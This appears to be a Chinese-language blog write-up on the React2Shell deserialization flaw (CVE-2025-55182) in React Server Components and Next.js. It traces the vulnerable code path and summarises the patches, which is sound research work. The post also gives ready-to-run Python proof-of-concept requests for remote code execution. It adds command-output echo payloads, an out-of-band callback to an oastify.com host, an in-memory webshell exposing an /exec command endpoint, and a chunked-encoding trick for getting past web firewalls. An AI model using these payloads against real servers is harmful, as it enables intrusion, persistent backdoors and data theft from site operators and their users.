Finder: https://react2shell.com/
PoC: https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
Affected versions:
- React 19.0.0, 19.1.0, 19.1.1, and 19.2.0
- Next.js 14.3.0, 15.6.0, 16.0.0
Background
React 使用了 Node.js 等 JavaScript 运行时来负责提供 RSC 的渲染,运行时提供了 JavaScript 与浏览器之外的系统交互的能力,这使得漏洞能够上升到 RCE。
Next.js 框架在默认情况下启用了 RSC 且对用户输入验证不足,这使得此次漏洞影响广泛且利用十分简单。
https://zh-hans.react.dev/reference/rsc/server-components

我们从修复 commit 入手,就可以快速定位到漏洞点。
https://github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d
Analyse
修复前:https://github.com/facebook/react/tree/36df5e8b42a97df4092f9584e4695bf4537853d5
通过阅读 react-server#flight-rendering 可以知道 RSC 的实现分为 Flight 和 Fizz 两部分,而不安全的序列化是由 Flight 约定并实现的。你可以通过 https://rscexplorer.dev/ 直观地了解 RSC 渲染过程。
容易分析出 RCE 的漏洞极易出现在 Flight 的序列化反序列化过程,我们开始跟踪。可以看到,Flight 实现了一套自己的序列化协议,它允许如下类型被序列化 packages/react-server/src/ReactFlightServer.js#L3469-L3494
// https://github1s.com/facebook/react/blob/36df5e8b42a97df4092f9584e4695bf4537853d5/packages/react-server/src/ReactFlightServer.js#L489-L523
// Serializable values
export type ReactClientValue =
// Server Elements and Lazy Components are unwrapped on the Server
| React$Element<component(...props: any)>
| LazyComponent<ReactClientValue, any>
// References are passed by their value
| ClientReference<any>
| ServerReference<any>
// The rest are passed as is. Sub-types can be passed in but lose their
// subtype, so the receiver can only accept once of these.
| React$Element<string>
| React$Element<ClientReference<any> & any>
| ReactComponentInfo
| string
| boolean
| number
| symbol
| null
| void
| bigint
| ReadableStream
| $AsyncIterable<ReactClientValue, ReactClientValue, void>
| $AsyncIterator<ReactClientValue, ReactClientValue, void>
| Iterable<ReactClientValue>
| Iterator<ReactClientValue>
| Array<ReactClientValue>
| Map<ReactClientValue, ReactClientValue>
| Set<ReactClientValue>
| FormData
| $ArrayBufferView
| ArrayBuffer
| Date
| ReactClientObject
| Promise<ReactClientValue>; // Thenable<ReactClientValue>
此次漏洞的入口点在 packages/react-server/src/ReactFlightActionServer.js,这是一个处理 Server Action 的服务端,
允许用户提交表单后,接收序列化的表单数据,并将其反序列化。服务端维护了类型为 Response 的上下文
export type Response = {
_bundlerConfig: ServerManifest,
_prefix: string,
_formData: FormData,
_chunks: Map<number, SomeChunk<any>>,
_closed: boolean,
_closedReason: mixed,
_temporaryReferences: void | TemporaryReferenceSet,
};
Calling Stack
我从入口点层层上溯,找到了链条的开始,以下是逐步还原的全流程。
首先假设我们发送了攻击请求,Next.js 会在 src/server/app-render/app-render.tsx#L2219 中处理我们的请求,在判断是否可能为 Server Action 请求,判断逻辑十分暴力packages/next/src/server/lib/server-action-request-meta.ts#L38 只需要三个条件满足其一就行。
想要绕过这里,我们需要通过 POST 请求 + application/x-www-form-urlencoded 或 multipart/form-data 形式发送数据,且 NEXT-ACTION 头为不为空的字符串。

然后就会把上下文原封不动地进到 packages/next/src/server/app-render/action-handler.ts 这个文件的逻辑,去处理 Server Action。

packages/next/src/server/app-render/action-handler.ts 做了简单的检测后进入 decodeReplyFromBusboy 注意这里 await 了返回值。

decodeReplyFromBusboy 的实现在各个运行时存在差异,但是不影响漏洞分析,我们这里拿 Node.js 的实现来举例 packages/react-server-dom-esm/src/server/ReactFlightDOMServerNode.js#L328
这个函数主要就是创建了用于 Flight 的带有用户发送的 _formData 的上下文对象,然后传进 getRoot 。
![]()
这里终于来到处理 Flight 反序列化的入口点 packages/react-server/src/ReactFlightReplyServer.js#L177,跟进 getRoot (L177) → getChunk(response, 0) (L518) ,默认行为下,会获取到我们表单数据 key 为 0 的值作为 Root Chunk 进入 createResolvedModelChunk (L251) ,这个函数新建了一个 Chunk 对象 new Chunk(RESOLVED_MODEL, value, id, response) 并返回给 getRoot

让我们看看 Chunk 的实现,可以看到它继承了 Promise,由于上文提到 getRoot 返回值会被 await,所以 then 会被触发,进入到 RESOLVED_MODEL 分支,

接下来会来到 initializeModelChunk (L446) ,chunk.value 会被 JSON.parse 成对象 rawModel 进入 reviveModel (L386)

reviveModel 是一个递归处理模板的函数,将所有 $ 前缀字符串替换为其实际值,具有 $ref 和 $ref:prop 的引用语法,它定义了一系列类型,详见:packages/react-server/src/ReactFlightReplyServer.js#L916
Model
这个模板的设计便是这个漏洞利用的核心部分,也是 PoC 最好玩的部分。我们来看几个有趣的:

$@x 会返回 getChunk 的值,它是一个 Promise。

$Bx 会返回 formdata 中的对应 key 的原始值。
response._formData.get(blobKey) 这是一个非常好的攻击点,如果上下文对象 response 可控,参数 blobKey 可控,基本和任意代码执行划等号了。
跑题:与之有关的另外两个漏洞
在 React2Shell 披露后不久又发现了三个 CVE
嘴硬这一块

DoS
爆了两个 CVE,暂时不知道他们 PoC 是什么,但是只要理解了原理,不难自己实现 DoS。

修复
现在添加了 1000 次的深度限制
https://github.com/facebook/react/commit/b45bb335db5b3632329d6b41e5a790ff6f1a7ff7
CVE-2025-67779

由于返回的 ServerReference 类型合并了 Function,
export type ServerReference<T: Function> = T & {
$$typeof: symbol,
$$id: string,
$$bound: null | Array<ReactClientValue>,
$$location?: Error,
};
所以调用它的 toString 会泄露源码(厉不厉害你 JavaScript)

利用

修复
覆写了 toString 函数
https://github.com/facebook/react/commit/894bc73cb493487c48d57f4508e6278db58e673a
Exploit
克隆 https://github.com/msanft/CVE-2025-55182 仓库的环境进行复现。
这里不得不佩服 https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3 这位 CTFer 的思路和神速,几乎在漏洞公告披露后一天之内通过 commit 分析出了最简 PoC ,我们来分析他是怎么做的。
他的思路是从原型链取得 Chunk.prototype 的 then 方法然后覆盖 chunk 0 的 then 方法,去造一个假的 Chunk,像这样(Javascript 中含有 then 属性的对象就可以被当作 Promise,可以被 await)
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
精心构造一个假的 Chunk,这里需要注意需要添加 "reason": -1 来避免 var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value; 的 toString 报错。
import requests
import json
files = {
"0": (None, json.dumps({
"status": "resolved_model",
"then": "$1:then",
"value": '{"then": "$B114514"}',
"_response": {
"_prefix": "throw 'kaf';//",
"_formData": {
"get": "$1:constructor:constructor"
}
},
"reason": -114514,
})),
"1": (None, '"$@114514"')
}
res = requests.post("http://localhost:3000", files=files, timeout=10, headers={"NEXT-ACTION":"x"})
print(res.status_code)
print(res.text)
以上是我试出来的最简 PoC,可以看到 chunk 1 仅仅做提供原型链的作用,具体引用的 id 并不影响利用。
import requests
import json
files = {
"0": (None, json.dumps({
# "status": "resolved_model",
"then": "$1:then",
"value": '{"then": "$B114514"}',
"_response": {
"_prefix": "throw 'kaf';//",
"_formData": {
"get": "$1:constructor:constructor"
}
},
"reason": "$0:_formData:get",
})),
"1": (None, '"$@114514"')
}
res = requests.post("http://localhost:3000", files=files, timeout=10, headers={"NEXT-ACTION":"x"})
print(res.status_code)
print(res.text)
我们可以构造上面这样的 payload 去回显 reason。调试可以看到, reason 被反序列化时,所有属性都已经完成了反序列化。
就这样,我们成功打造了一个恶意 RootChunk,他会层层返回被 awaited,还记得吗,Javascript 中含有 then 属性的对象就可以被当作 Promise,可以被 await。then 会被调用,服务器会以投毒的上下文再走一遍以上的流程,达成了任意 Node.js 代码执行。
_prefix 利用 skills
响应体回显
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
响应头回显
var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT\_REDIRECT;push;/login?a=${res};307;`});
DNSLog
process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');
内存马
(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();
/// curl "http://target.com/exec?cmd=ls+-l"
分块传输绕过 waf
headers = {
"Transfer-Encoding": "chunked",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary"
}
修复
Next.js 侧的修复:会检测 next-action 头对应的 Server Action 是否存在
Remove urlencoded action handling & harden action ID checks (#87082) · vercel/next.js@d43d57a
React.js 侧的修复:添加了 hasOwnProperty 检测,不能再通过原型链取得危险方法。
https://github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d
总结
JavaScript 某些奇异的语言特性,似乎使得开发者更容易写出不安全的代码。对于大型项目开发者,在选型时更应当慎重考虑 js 技术栈,做好前后端分离。
网上关于这个漏洞的完整分析太难找,大部分都无法 cover 全,于是有了这篇文章。
以及,
不要用 Next.js
万行大便审的我想吐。
Meme
审 React 源码 Flow + 一堆 any 的一坨

saka 老师高瞻远瞩啊(
